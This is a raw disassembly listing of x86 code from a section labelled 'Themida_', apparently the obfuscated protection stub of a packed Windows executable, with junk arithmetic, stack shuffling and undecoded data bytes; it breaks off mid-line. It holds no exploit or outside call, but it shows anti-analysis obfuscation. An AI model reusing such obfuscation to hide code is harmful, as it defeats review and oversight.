loc_501755:				; CODE XREF: Themida_:00509661j
		add	edi, 47D613F5h
		not	edi
		dec	edi
		dec	edi
		jmp	loc_4FFC79
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0D0B22414h, 79E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_501771:				; CODE XREF: Themida_:00508E8Fj
		mov	ebp, 53D41162h
		xor	ebp, 37CD5571h
		shr	ebp, 7
		add	ebp, 185EF1AEh
		mov	eax, ebp
		pop	ebp
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_50B021
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 0FFFFFC07h
; ---------------------------------------------------------------------------


loc_5017A0:				; CODE XREF: Themida_:00504A5Bj
		sub	edx, 431D1552h
		add	edx, ebx
		add	edx, 431D1552h
		pop	ebx
		add	edx, edi
		jmp	loc_508E70
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 49AA30D3h, 7408B951h, 0E9816284h, 5BA372E2h,	628E9h
		dd 0D8EFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5017D2:				; CODE XREF: Themida_:005070A4j
		mov	eax, [esp]
		push	eax
		jmp	loc_50A8B4
; ---------------------------------------------------------------------------
		db 31h
		dd 2C33242Ch, 24248B24h, 81240C8Bh, 4ECh, 0DFD4E900h, 0FE30FFFFh
		dd 0FE30F730h, 3031B050h, 885158C6h, 0E9EB88F5h, 91EFh
		dd 0B44D62BAh, 484F6803h, 0E95F0813h, 0FFFFE1AAh, 81240C89h
		dd 4ECh, 24248900h, 4C35E9h, 244C2900h,	7EE95908h, 66000069h
		dd 66595368h, 68241C89h, 4CDAh,	53240489h, 88CE8852h, 24148BF3h
		dd 0FFF638E9h, 1DF381FFh, 8148081Fh, 0F6AA8EEBh, 75F2E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_501862:				; CODE XREF: Themida_:00504A72j
		pop	ebp
		pop	ecx
		push	6204h
		mov	[esp], edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_50ABF8
; ---------------------------------------------------------------------------
		dw 95Ah
		dd 2434FFD0h, 3365E95Ah, 0E95B0000h, 22A5h
; ---------------------------------------------------------------------------


loc_50188C:				; CODE XREF: Themida_:00504FEFj
		inc	eax
		xor	eax, 5A8B23B5h
		xor	eax, 0BAED2432h
		jmp	loc_504B6B
; ---------------------------------------------------------------------------


loc_50189C:				; CODE XREF: Themida_:00503586j
		sub	ecx, 6802802h
		sub	ecx, edx
		jmp	loc_50A5C6
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 75h
		dd 1FFFFD8h, 4EACE9D7h,	0EE810000h, 59766C35h, 6CDBEE81h
		dd 0E4E94652h, 8100006Ch, 5C9C40F7h, 92E957BAh
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5018D3:				; CODE XREF: Themida_:00505214j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5033D3
; ---------------------------------------------------------------------------
		dw 0B60Fh
		dd 8734FFC0h, 521C68h, 242C8900h, 5156E589h, 0D5242E68h
		dd 0D9F75936h, 0C103E9C1h, 0F18107E9h, 324AB2h,	159CE89h
		dd 0ED815EF5h, 4, 31242C33h, 2C33242Ch,	2F19E924h, 14880000h
		dd 2434FF87h, 4C4835Ah,	0E9241C8Bh, 6069h, 0FF56FE31h
		dd 0C15E240Ch, 0F0E905E6h, 0FF00001Eh, 1AE92434h, 2CFFFFDBh
		dd 4FE959E4h, 87FFFFDDh, 0CFE9240Ch
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_501957:				; CODE XREF: Themida_:00502130j
		add	ebx, edi
		sub	ebx, 207747D8h
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		push	63A2h
		mov	[esp], ebx
		push	ecx
		mov	ecx, 78EA3283h
		mov	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 359C4F7Fh
		jmp	loc_50241F
; ---------------------------------------------------------------------------
		dd 0CF3BB605h, 58C2013Bh, 0FFD775E9h, 4EC83FFh,	0E9242C89h
		dd 6924h, 355168h, 24048900h, 24048B54h, 6804C483h, 148Eh
		dd 56241C89h, 351FE9h, 240C8700h, 0D224248Bh, 0E99C240Ch
		dd 0FFFFD6FDh, 0B850E689h, 3CC7CE4h, 2E8C140h, 3F493E35h
		dd 56033545h, 0C60145CCh, 4C68358h, 5C243487h, 0B22BD55h
		dd 0F581346Ah, 5CA730F0h, 2C8BEF01h, 4C48324h, 0EC81CF01h
		dd 4, 68242C89h, 0D3E7AF0h, 81242C8Bh, 4C4h, 7DE95700h
		dd 4Bh,	0C0C380C3h, 353E9h, 0A778B800h,	0C501D32Fh, 3DC58158h
		dd 29725412h, 3DED81D5h, 89725412h, 0CA815DEAh,	3AA91383h
		dd 3275EA81h, 0F36827AFh, 89000018h, 0A9BB241Ch, 0E92D2417h
		dd 623Fh, 0BF7A7805h, 46B8E96Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_501A62:				; CODE XREF: Themida_:00509B79j
		sub	al, 17h
		sub	al, 0ECh
		mov	ecx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		mov	dx, [esp]
		push	65D2h
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, 71B81F87h
		add	esi, ebx
		sub	esi, 71B81F87h
		jmp	loc_504EA1
; ---------------------------------------------------------------------------
		dd 1FAECE81h, 0EEC15697h, 0FBDCE905h, 0FF68FFFFh, 5AFFFFFFh
		dd 703EED81h, 0D501467Bh, 703EC581h, 815A467Bh,	11C4B1C5h
		dd 8BE831E7h, 0C481242Ch, 4, 160BBE56h,	0BF577341h, 4B504D6Ah
		dd 46DCE9h, 0F7885800h,	24C4E95Ah, 3C8B0000h, 5487E924h
		dd 34FF0000h, 0E120E924h, 34FFFFFFh, 0C4815A24h, 4, 8904EC83h
		dd 0CFB22414h, 8AB65266h, 0CCE95B04h, 8100004Dh, 26C51BEFh
		dd 8BFE29F8h, 0C483243Ch, 0C6815D04h, 17FF6DC7h, 0EE81C601h
		dd 17FF6DC7h, 40B5C681h, 55527271h, 8F37E9h, 5305B400h
		dd 0FFFB5AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_501B5D:				; CODE XREF: Themida_:005097DFj
		push	edi
		push	ebx
		mov	ebx, 6E661317h
		jmp	loc_507FBE
; ---------------------------------------------------------------------------
		db 0C0h, 0EFh, 7
		dd 80E4C780h, 0EBE92FC7h, 0FF000004h, 34FF2434h, 54575824h
		dd 1543E9h
		db 0
; ---------------------------------------------------------------------------


loc_501B85:				; CODE XREF: Themida_:005086FDj
		push	2EFBh
		mov	[esp], esp
		push	edx
		jmp	loc_502069
; ---------------------------------------------------------------------------
		db 68h
		dd 2BA2h, 56243C89h, 0D2561168h, 48A6E955h, 0A4BF0000h
		dd 29071912h, 0F7435FFBh, 39BE9D3h, 0EA830000h,	24148704h
		dd 4BC7E9h, 0E9C32900h,	0FFFFECC6h, 0BA4E681h, 0F6812EB6h
		dd 29127398h, 295EF189h, 0EB8959CDh, 0E92434FFh, 5090h
		dd 50243C8Bh, 913EE9h, 241C8B00h, 6804C483h, 3E53h, 50241489h
		dd 9BE9C8B0h, 81000047h, 49249CCBh, 83CB817Ch, 814B783Ah
		dd 804705F3h, 8EBC13Bh,	0FFFC34E9h, 295B59FFh, 0E7B5E9CFh
		dd 0C481FFFFh, 4, 0FFD5FEE9h, 0FED1F6FFh, 0B75366C9h, 0E9F90885h
		dd 253Ch, 19F8E952h, 8DBB0000h,	0C169C16Eh, 0CB8107E3h
		dd 7FFF63F8h, 0FFDB3AE9h, 439EBDFFh, 5BE90FAFh
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_501C63:				; CODE XREF: Themida_:005081FBj
		pop	edx
		jmp	loc_4FFA23
; ---------------------------------------------------------------------------
a_1S49		db '_1[49',0
		align 2


loc_501C72:				; CODE XREF: Themida_:00507AB2j
		push	esi
		mov	esi, 58D57C01h
		jmp	loc_50882C
; ---------------------------------------------------------------------------


loc_501C7D:				; CODE XREF: Themida_:00509057j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5028A1
; ---------------------------------------------------------------------------


loc_501C8B:				; CODE XREF: Themida_:00504177j
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_50580C
; ---------------------------------------------------------------------------
		db 87h,	0D1h, 0F7h
		dd 81D187D2h, 0FF5AFEF1h, 59C801A1h, 751F68h, 0E5DEE900h
		dd 5D68FFFFh, 89000009h, 61E92424h, 66000031h, 663B39BEh
		dd 348BF589h, 4C48324h,	4E920566h, 83E80166h, 348904ECh
		dd 70BE6624h, 0C6816642h, 5660C22h, 0E8E966FCh
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_501CFB:				; CODE XREF: Themida_:00501248j
		movzx	cx, ah
		push	small 0AB9h
		jmp	loc_4FFB2D
; ---------------------------------------------------------------------------
		dd 240C8B66h, 68E78957h, 1564h,	51240489h, 0AE47A868h
		dd 0C1815913h, 0EC51B85Ch, 0CA895257h, 895AD789h, 0C8B5FF8h
		dd 4C48324h, 8358C701h,	148904ECh, 2BA24h, 0D7010000h
		dd 74FF575Ah, 3C8B0424h, 4C48324h, 5C24048Fh, 24048B66h
		dd 4EC81h, 34890000h, 4EC8124h,	0E9000000h, 781Ch, 0E92434FFh
		dd 6B45h, 68A9EB80h, 478Dh, 0B6241489h,	37C380C1h, 5AE7E9h
		db 0
; ---------------------------------------------------------------------------


loc_501D89:				; CODE XREF: Themida_:005094DFj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5065E7
; ---------------------------------------------------------------------------


loc_501D97:				; CODE XREF: Themida_:0050AE9Aj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_507582
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFD30Dh, 0E924048Fh, 31B5h, 0F7241489h, 2C832414h
		dd 0F75AFF24h, 0EA814AD2h, 7C4506DAh, 575AD001h, 0FC0B951h
		dd 0C2BF6E2Fh, 0E96E2F0Fh, 41BFh, 2D7FB951h, 0B9E918FCh
		dd 5B00000Bh, 1451E9h, 0E8E98100h, 2999D100h, 0F28159CAh
		dd 5CE1555Ah, 6EB7BF57h, 0DFF75A5Fh, 0DE8EC781h, 0C2818104h
		dd 2A7B5DC5h, 69E9FA01h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_501E1F:				; CODE XREF: Themida_:0050331Aj
		push	edi
		mov	edi, 2CD5709Fh
		mov	esi, 59D988CFh
		sub	esi, edi
		jmp	loc_509FB9
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 0Ch
		dd 81E18924h, 4C1h, 4C18100h, 87000000h, 0B2E9240Ch, 57FFFFE9h
		dd 93124F68h, 814F5F74h, 8B4767C7h, 0D73CE95Ch,	4CBDFFFFh
		dd 817F0237h, 0CD2479CDh, 0AEF58106h, 814AA612h, 0E14533EDh
		dd 51D5294Bh, 0E14533B9h, 0E9CD014Bh, 0FFFFED40h, 81240C8Bh
		dd 4C4h, 37BEE900h, 0B9BF0000h,	4746E475h, 726E9h
		db 0
; ---------------------------------------------------------------------------


loc_501E9D:				; CODE XREF: Themida_:00507495j
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_50AD9D
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048B66h, 0E9E68956h, 8206h, 4C481h, 0CAE90000h, 5DFFFFFAh
		dd 0E9241C8Bh, 6A60h, 6030E681h, 0DBE93BD0h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_501ED7:				; CODE XREF: Themida_:00508AD2j
		mov	edx, 8EF1B0FCh
		jmp	loc_5053E7
; ---------------------------------------------------------------------------
		db 0E9h, 0DBh, 0D1h
		dd 0EE89FFFFh, 8FB9E9h,	0BB68AD00h, 0E9000028h,	2679h
		dd 5277E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_501EFE:				; CODE XREF: Themida_:00503BDCj
		add	ebp, ecx
		add	ebp, 250069Dh
		mov	ecx, [esp]
		jmp	loc_4FF8DD
; ---------------------------------------------------------------------------


loc_501F0E:				; CODE XREF: Themida_:005042A7j
		mov	ecx, 2F357C4Ch
		or	edx, ecx
		pop	ecx
		shl	edx, 1
		shl	edx, 3
		jmp	loc_504485
; ---------------------------------------------------------------------------
		dd 0EFBE5659h, 8331A536h, 0D6F701C6h, 8105EEC1h, 1FA240C6h
		dd 0E9F0314Ch, 98Fh, 83EB8853h,	0C8904ECh, 88D98824h, 595B59CEh
		dd 8D9E9h, 0FFEB8100h, 814AC406h, 0D60DF6EBh, 5BDD01F7h
		dd 0ED81F529h, 2E5D05ADh, 0FFF404E9h, 0E9DAF7FFh, 0FFFFE8EEh
		dd 81FFC583h, 0C823AFF5h, 246C294Ch, 663EE908h,	0C4830000h
		dd 2DE82904h, 57C73AB6h, 0B0BF575Dh, 5343B42Ch,	3C7EE9h
		dd 1EE95C00h, 8BFFFFD1h, 0C483241Ch, 47C52D04h,	0D8013942h
		dd 0FFEA83E9h, 7E1C0FFh, 0E90FF180h, 27ACh, 0E9DEB551h
		dd 5F45h
; ---------------------------------------------------------------------------


loc_501FC8:				; CODE XREF: Themida_:0050A93Aj
		pop	ecx
		push	edi
		mov	edi, esp
		push	esi
		jmp	loc_502952
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 6039733Ch, 15EF789h,	243C8BFEh, 0E9E08950h, 0FFFFE7C6h
; ---------------------------------------------------------------------------


loc_501FE8:				; CODE XREF: Themida_:00500C81j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_506770
; ---------------------------------------------------------------------------
		db 83h
		dd 40504C4h, 87000000h,	525C2404h, 0D6FC1BAh, 31BF576Bh
		dd 0E938492Eh, 2C64h, 6082BB53h, 53555EB9h, 5DEA895Dh
		dd 81241C8Bh, 4C4h, 0E2814200h,	28C04BD8h, 2B13F281h, 684775h
		dd 0E9000000h, 7285h, 4C181h, 0E9810000h, 4, 5AE3E9h, 24348B00h
		dd 0D752E950h, 0CFFEFFFFh, 62A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_502069:				; CODE XREF: Themida_:00501B8Ej
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	ecx
		push	eax
		mov	eax, 22B6381Ah
		jmp	loc_507FDC
; ---------------------------------------------------------------------------
aNscv		db 'C',0
		db 0
; ---------------------------------------------------------------------------


loc_502085:				; CODE XREF: Themida_:005002E2j
		pop	ebx
		pop	edi
		mov	ebp, edx
		pop	edx
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	481Dh
		jmp	loc_505219
; ---------------------------------------------------------------------------
aXms7		db '!XM7$',0
		dd 4896600h, 0D00BE924h, 885CFFFFh, 1DE1E9E6h, 0FEE90000h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5020C3:				; CODE XREF: Themida_:004FF888j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		push	eax
		mov	eax, 4
		push	eax
		pop	ebp
		pop	eax
		add	eax, ebp
		pop	ebp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mul	ecx
		push	3887h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 9EE9240Ch, 8300003Ah, 348904ECh, 39CCBE24h, 7429209Dh
		dd 0E95E0424h, 0FFFFCFADh, 33241C31h, 0F75C241Ch, 26DEE9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_502122:				; CODE XREF: Themida_:00507EC3j
		mov	[esp], edi
		mov	edi, 4
		add	ebx, 207747D8h
		jmp	loc_501957
; ---------------------------------------------------------------------------


loc_502135:				; CODE XREF: Themida_:0050A960j
		mov	eax, ebp
		mov	ebp, [esp]
		jmp	loc_5093AB
; ---------------------------------------------------------------------------
		db 0FFh
		dd 81582434h, 4ECh, 241C8900h, 8B40E9h
		db 0
; ---------------------------------------------------------------------------


loc_502151:				; CODE XREF: Themida_:00504523j
		sub	edx, 7860753Eh
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------
		dd 850482B8h, 47E2D1Ah,	0C7811A85h, 328D0304h, 0D8E9C701h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_502173:				; CODE XREF: Themida_:005013B9j
		add	ecx, 42E117CCh
		sub	edi, ecx
		pop	ecx
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, 34201051h
		sub	edx, 572E5796h
		jmp	loc_502FBD
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 4BFh, 0FFFB0100h, 96E92434h,	55000063h, 7B24BE56h, 2ABD0B7Ch
		dd 0E91B7726h, 5A93h, 7553C781h, 0C729312Fh, 7553EF81h
		dd 6EE9312Fh
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5021CF:				; CODE XREF: Themida_:00509A47j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_4FFF51
; ---------------------------------------------------------------------------
		db 80h,	0E1h, 0A4h
		dd 805CE980h, 0D9F681C9h, 8188F180h, 2ECh, 4896600h, 42B424h
		dd 2C5866E1h, 30B25229h, 0F280DAF6h, 0E9D028EAh, 3C15h
; ---------------------------------------------------------------------------


loc_50220C:				; CODE XREF: Themida_:004FFA88j
		mov	edx, 60CB0190h
		mov	ebx, edx
		jmp	loc_50A693
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 4EC8300h, 50243489h, 0D3EE9h, 0DF78100h
		dd 0E9E568D0h, 781h, 5EE9F001h,	8800004Ch, 0BAE95BD8h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_502247:				; CODE XREF: Themida_:005047A5j
		sub	edi, 356B7C88h
		and	edi, 12EB2D41h
		add	edi, 578B04CBh
		jmp	loc_5081DB
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 30FCBB24h, 0A2E95FE1h, 0C100008Ah, 0F58105E5h, 0FDE77DA0h
		dd 8FE9E989h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50227B:				; CODE XREF: Themida_:00500415j
		add	ebp, ebx
		add	ebp, 693D418Ch
		pop	ebx
		push	edx
		mov	edx, 4
		jmp	loc_507B34
; ---------------------------------------------------------------------------


loc_50228F:				; CODE XREF: Themida_:0050AD3Bj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		jmp	loc_506DA8
; ---------------------------------------------------------------------------
		dd 0A2B2C681h, 17E99EFDh
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5022B3:				; CODE XREF: Themida_:00508A9Ej
		mov	ebx, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_509CF5
; ---------------------------------------------------------------------------
		dw 0CC88h
		dd 12FDE959h, 5590000h,	4, 5C240487h, 5D240481h, 113E67Bh
		dd 0E9552404h, 767Bh, 46852h, 0E95A0000h, 0FFFFF5CAh, 5C243487h
		dd 885AE9h, 24048B00h, 2C04C483h, 56F0005Fh, 0C681E689h
		dd 4, 2EE81h, 6FE90000h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_502313:				; CODE XREF: Themida_:0050AF1Fj
		add	edi, eax
		pop	eax
		jmp	loc_5042EB
; ---------------------------------------------------------------------------
aSJ		db ')J',0
		align 2
aRitsvi		db 'Rv',0
		align 2
		dw 0C89h
		dd 1BF9B924h, 49E94D14h, 8100008Ah, 4C7h, 4C78300h, 31243C33h
		dd 3C33243Ch, 4200E924h, 0EC810000h, 4,	74E954h, 0CB290000h
		dd 6FEAE9h
		db 0
; ---------------------------------------------------------------------------


loc_502361:				; CODE XREF: Themida_:004FF629j
		add	ebx, 159251D7h
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aSeu		db '$U',0
		align 2
		dw 0E7C0h
		dd 3AC78005h, 1C8BF830h, 5E545624h, 44EE9h, 0CEE95D00h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5023A3:				; CODE XREF: Themida_:004FFBE6j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp


loc_5023AD:				; CODE XREF: Themida_:004FFBC5j
					; Themida_:00509BF0j
		push	197Eh
		mov	[esp], ebx
		jmp	loc_506711
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 2E2C159h, 0D6F281h, 5F52C6A9h, 73A7E95Ah, 48F0000h
		dd 87C5E924h, 0EC830000h, 24248904h, 4240481h, 59000000h
		dd 8486E956h, 0B1510000h, 7E9C0A0h, 0FFDB2DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5023F5:				; CODE XREF: Themida_:00503D85j
		mov	ecx, esp
		jmp	loc_509264
; ---------------------------------------------------------------------------
		dd 8B240C87h, 8B662424h, 0EC832404h, 24348904h,	0FFF8B1E9h
		dd 0FE5AB5FFh, 0C0D5F6CDh, 0B8E907E5h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50241F:				; CODE XREF: Themida_:0050197Bj
		dec	ebp
		sub	ebp, 359C4F7Fh
		jmp	loc_50A8F2
; ---------------------------------------------------------------------------
		db 87h
		dd 87D5F7EAh, 241487EAh, 5524048Bh, 0C5815D54h,	4, 447BE9h
		dd 24048F00h, 2404205Ch, 0CC6FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_502452:				; CODE XREF: Themida_:00500EB5j
		push	0B86h
		mov	[esp], edi
		jmp	loc_50701E
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 335FFA01h, 14312414h, 24143324h, 0E924248Bh, 70F2h
		dd 0D80097B3h, 4583E9h
		db 0
; ---------------------------------------------------------------------------


loc_502481:				; CODE XREF: Themida_:00506A19j
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	edx, 4
		push	edx
		jmp	loc_50A3EA
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0E8h
		dd 0F6FFFFCFh, 28A6E9DFh, 34870000h, 6596E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5024AA:				; CODE XREF: Themida_:0050A8F5j
		shr	ebx, 4
		jmp	loc_506A1E
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 10E844CAh, 30C4BD55h, 0EE311A6Dh, 3BF6815Dh,	17B947Ah
		dd 148B5EF0h, 0BAE95124h, 53000072h, 0C9296D68h, 68E95B4Fh
		dd 66000059h, 9C2424D3h, 0FFCBD8E9h, 348758FFh,	2C875C24h
		dd 24248B24h, 0E99CC138h, 0FFFFCBC5h, 45DBABEh,	81DEF70Eh
		dd 0F279DBE6h, 52EE813Ch, 29E114FCh, 87585EF3h,	248B241Ch
		dd 48B6624h, 4EC8124h, 89000000h, 0E9542434h, 0FFFFF37Dh
; ---------------------------------------------------------------------------


loc_50252C:				; CODE XREF: Themida_:0050A353j
		pop	esi
		push	edx
		mov	edx, 787E283Fh
		push	edi
		mov	edi, 4F57775Ah
		sub	edi, 0DBCA1C0Ah
		and	edx, edi
		jmp	loc_50AED1
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFD376h, 2D5BD801h, 1E454069h, 424D142Dh,	45E2D17h
		dd 0EC832DA2h, 0EDFDE904h, 0C481FFFFh, 4, 8904EC83h, 8E9242Ch
		dd 0FF000075h, 0E99C2404h, 0FFFFCB41h, 28C8E95Ch, 0FD290000h
		dd 83243C8Bh, 0EB2904C4h, 0C381595Dh, 4, 8B241C87h, 0B70F2424h
		dd 595451C8h, 0FFDAFFE9h, 0FBB53FFh, 81417267h,	9F61EFEBh
		dd 4E3C140h, 9B2F381h, 72E96B48h, 0C1000053h, 0C78105EFh
		dd 2BF51420h, 2654C781h, 0D7F73E0Bh, 5E26C781h,	0FD016C37h
		dd 52243C8Bh, 0C281E289h, 4, 4C281h, 14870000h,	0C5835C24h
		dd 242C8704h, 0E924248Bh, 12A3h
; ---------------------------------------------------------------------------


loc_502600:				; CODE XREF: Themida_:00500CC0j
		mov	[esp], ebx
		push	1D93h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_4FFF3C
; ---------------------------------------------------------------------------
		dd 0EFC1665Eh, 0EF816605h, 81666681h, 662812EFh, 92E9F989h
		dd 55000006h, 0EE1367BDh, 5EED8131h, 81435D43h,	0B86560F5h
		dd 8FB85018h, 0E94EEC4Eh, 0FFFFFA54h
; ---------------------------------------------------------------------------


loc_502650:				; CODE XREF: Themida_:00502A38j
		sub	eax, 401D51E0h
		jmp	loc_509CA9
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 4EF81h, 6EE90000h, 6800002Ch, 73F9h, 5F1B68h, 8068E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50267A:				; CODE XREF: Themida_:0050A3EFj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_50A610
; ---------------------------------------------------------------------------


loc_502685:				; CODE XREF: Themida_:00508099j
		and	ebx, ecx
		pop	ecx
		add	ebx, 0C0B922BDh
		sub	esi, 2685405Ch
		sub	esi, ebx
		jmp	loc_504E7C
; ---------------------------------------------------------------------------
		db 81h
		dd 2F21BAEFh, 247C01D9h, 0E95B5F08h, 0FFFFCA15h, 24048B66h
		dd 13BA68h, 240C8900h, 240C8B54h, 4C481h, 0E9550000h, 342Bh
		dd 7EF568h, 240C8900h, 0BB53E189h, 4, 8CE9D901h, 81000015h
		dd 2C7h, 9F6800h, 3C890000h, 2474FF24h,	243C8B04h, 1EE9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5026F9:				; CODE XREF: Themida_:005001D7j
		add	esp, 4
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0FFE4F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_502709:				; CODE XREF: Themida_:00509181j
		add	ebp, 0FF0A9589h
		mov	ebx, ebp
		jmp	loc_507748
; ---------------------------------------------------------------------------


loc_502716:				; CODE XREF: Themida_:0050AAC9j
		add	esp, 4
		pop	dword ptr [eax]
		push	ebp
		mov	ebp, 54A32CE2h
		or	ebp, 4487179Bh
		jmp	loc_507D15
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 1CD25966h, 86E99C24h, 81FFFFC9h, 0C44D7EE3h
		dd 0EAB5E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_502746:				; CODE XREF: Themida_:00506EE1j
		pop	esp
		and	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		shr	ecx, 0Ah
		push	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_506FFD
; ---------------------------------------------------------------------------
		dw 0CE81h
		dd 762A3CA9h, 6163BD55h, 0EDC1183Bh, 5EDC103h, 4AADF581h
		dd 0EE210817h, 0C7EE815Dh, 56080E30h, 57242C81h, 0E97D9C54h
		dd 8663h
; ---------------------------------------------------------------------------


loc_50279C:				; CODE XREF: Themida_:0050959Fj
		sub	esp, 4
		jmp	loc_505203
; ---------------------------------------------------------------------------


loc_5027A4:				; CODE XREF: Themida_:00508CAFj
		xchg	ah, ch
		add	ch, 29h
		push	cx
		not	byte ptr [esp+1]
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		jmp	loc_5051A7
; ---------------------------------------------------------------------------


loc_5027C4:				; CODE XREF: Themida_:00508660j
		push	esi
		mov	esi, 26EB6221h
		jmp	loc_503049
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F58104EDh, 0DB12E8Ah, 62008B05h, 31EDE93Dh,	34330000h
		dd 0F3E95C24h, 81FFFFF0h, 4C6h,	4C68300h, 8B243487h, 5F682424h
		dd 0E9000062h, 44Bh
; ---------------------------------------------------------------------------


loc_502804:				; CODE XREF: Themida_:00508FABj
		mov	esi, 4
		push	esi
		mov	esi, 76176292h
		jmp	loc_506910
; ---------------------------------------------------------------------------
		dd 69B252h, 24148BD3h, 4C481h, 0EB800000h, 4E00E91Eh, 0F5880000h
		dd 8124148Bh, 4C4h, 6FE95200h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50283B:				; CODE XREF: Themida_:0050A7EFj
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 1
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, esi
		jmp	loc_504B16
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0FD885124h, 5359EE88h, 82E9F788h, 59000041h,	2EAB68h
